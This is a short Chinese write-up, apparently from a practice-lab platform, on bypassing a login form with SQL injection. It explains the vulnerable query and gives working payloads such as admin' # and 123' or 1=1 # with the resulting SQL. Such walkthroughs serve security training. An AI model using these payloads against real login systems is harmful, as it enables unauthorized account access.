墨者 - SQL注入漏洞测试(登录绕过)

原理

   服务端后台存在类似的代码

SELECT * FROM accounts WHERE username='admin' and password = 'password'

  后端如果没做校验处理,username 和 password 值从前端传进来直接执行sql语句,就存在可以构造恶意代码。

  如果在用户名框内输入"admin' AND 1=1 /*", 在密码框内输入任意字符串,那么后台执行的SQL就为

SELECT * FROM accounts WHERE username='admin' and 1=1 /*' and password = 'password'
这个有个前提条件是username是admin,如果不是amdin的话可以把and 换成 or
SELECT * FROM accounts WHERE username='admin' OR 1=1 /*' and password = 'password'

 

好了进入主题,用户名的输入框写入admin' /*

报错,可能是注释问题,换一个#  ,  admin' #

墨者 - SQL注入漏洞测试(登录绕过)_第1张图片

 成功,这是用户名是admin情况下的,假如不知道admin,使用or,用户名随意(例如123)

123' or 1=1 # 

墨者 - SQL注入漏洞测试(登录绕过)_第2张图片

墨者 - SQL注入漏洞测试(登录绕过)_第3张图片

  也可以成功

你可能感兴趣的:(墨者刷题笔记)